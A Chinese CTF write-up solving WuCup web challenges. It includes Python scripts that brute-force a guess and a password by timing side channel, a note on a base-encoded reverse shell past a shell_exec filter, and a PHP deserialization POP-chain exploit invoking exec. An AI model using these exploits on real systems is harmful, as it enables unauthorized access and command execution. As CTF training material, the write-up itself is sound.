吾杯web部分wp
web
sign

HelloHacker
直接访问txt文件
根据题目描述,与爆破有挂,应该就是有一个8个字母组合不在里面,因为爆破会被封我们直接写脚本,先把所有组合列一遍再进行对比选出不同的

最后进行拼接绕过黑名单执行命令

TimeCage
第一关
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_GET['input'])){
$guess = $_GET['input'];
$target = random_int(114 , 114 + date('s') * 100000);
if(intval($guess) === intval($target)){
echo "The next challenge in ".$key1;
}
else{
echo "Guess harder.";
}
}
我们先来分析一下代码,target的值是随着data('s')时间秒的变化而变化,最后任意取其114~114+data('s')*100000中的一个数,所以当秒针为0时,target就等于114
对此可以写出以下python脚本
import time
import requests
# URL 目标地址
url = 'http://challenge.wucup.cn:42006/'
# 遍历 0~59 的随机值
for i in range(60):
time.sleep(1)
a=114
# 构造请求数据
data = {
'input': a # 将随机值作为 'input' 参数
}
response = requests.get(url=url, params=data)
print(response.text)
最终发现Trapping2147483647.php

第二关
<?php
show_source(__FILE__);
include 'secret.php';
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(strlen($pass) != strlen($password)){
die("Wrong Length!");
}
$isMatch = true;
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
if($isMatch){
echo "The final challenge in ".$key2;
}
else{
echo "Wrong Pass!";
}
}
//Only digital characters in the password.
分析一下代码,先比较password的长度,再对我们传入的pass的值与password一个一个比较,如果正确则sleep(1),经过尝试,password的长度为8,拷打AI写出一个python脚本
import requests
import time
# 目标 URL
url = "http://challenge.wucup.cn:42006/Trapping2147483647.php"
# 用于存储已破解的密码部分
cracked_password = ""
# 假设密码长度最大值
max_length = 8
# 数字字符集合(密码仅包含数字)
charset = "0123456789"#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
print("Starting brute force attack...")
for i in range(max_length):
found = False
for char in charset:
# 尝试的密码
test_password = cracked_password + char
# 构造请求数据
data = {"pass": test_password + "0" * (max_length - len(test_password))} # 填充到固定长度以避免 "Wrong Length!"
print(data)
start_time = time.time()
# 发送 POST 请求
response = requests.post(url, data=data)
end_time = time.time()
# 检测响应时间
response_time = end_time - start_time
print(f"Trying: {test_password} | Time: {response_time:.2f}s")
# 如果响应时间明显更长,则说明字符正确
if response_time > i+1: # 超过 1 秒的延迟
cracked_password += char
print(f"Found character: {char} | Current password: {cracked_password}")
found = True
break
if not found:
print("No more characters found. Password might be shorter than max_length.")
break
print(f"Password cracked: {cracked_password}")
最终得到密码为:56983215,找到EscapeEsc@p3Escape.php
第三关
<?php
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
$pattern = '/[\{\}\[\]\(\)&<>`\s\\\\]/';
if(preg_match($pattern,$cmd)){
die("Invalid Input!");
}
shell_exec($cmd);
}
else{
show_source(__FILE__);
}
过滤了个种括号,还有一些符号,这里采用base编码反弹shell的方法


ezPHP
进去直接404,扫描端口,发现flag.php,访问内容为空,抓包发现php版本为7.4.21,猜测存在源码泄露,构造如下请求包

得到源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}
class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}
class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}
if(isset($_GET['h_in.t'])){
unserialize($_GET['h_in.t']);
}
?>
从d类的__wakeup为起点,c类的__invoke为结尾,固有链子d::__wakeup-->a::__toString->b::__get->c::__invoke,那么我们只要在再传一个GET给$__,最后调用call_user_func就OK了
在c类中虽然我们的参数被unset了,但是OOO已经被赋值了,并且赋值并没有被删除,这可以通过本地加一个echo调试看看

先看phpinfo(),发现被ban了一系列函数(当时没想到看这个就一直没调出来,真菜!!!)

后续在自己服务器上搭建了一个环境,仔细看禁用函数,返现并没有禁exec,那就应该可以用吧,有wp是用的file_get_contents

这里有个比较奇怪的地方,就是传的$GET不能是字母,只能是数字,反正字母就是执行不成功
最终exp:
<?php
error_reporting(0);
class a{
public $OAO;
public $QAQ;
public $OVO;
}
class b{
public $pap;
public $vqv;
}
class c{
public $OOO;
}
class d{
public $UUU;
public $uuu;
}
$a=new a;
$b=new b;
$c=new c;
$d=new d;
$d->UUU=$a;
$a->OAO=$b;
$a->OVO="hello";
$b->pap=$c;
$c->OOO="exec";
echo serialize($d);
?>
总结
禅道和CS不会捏,还得练

浙公网安备 33010602011771号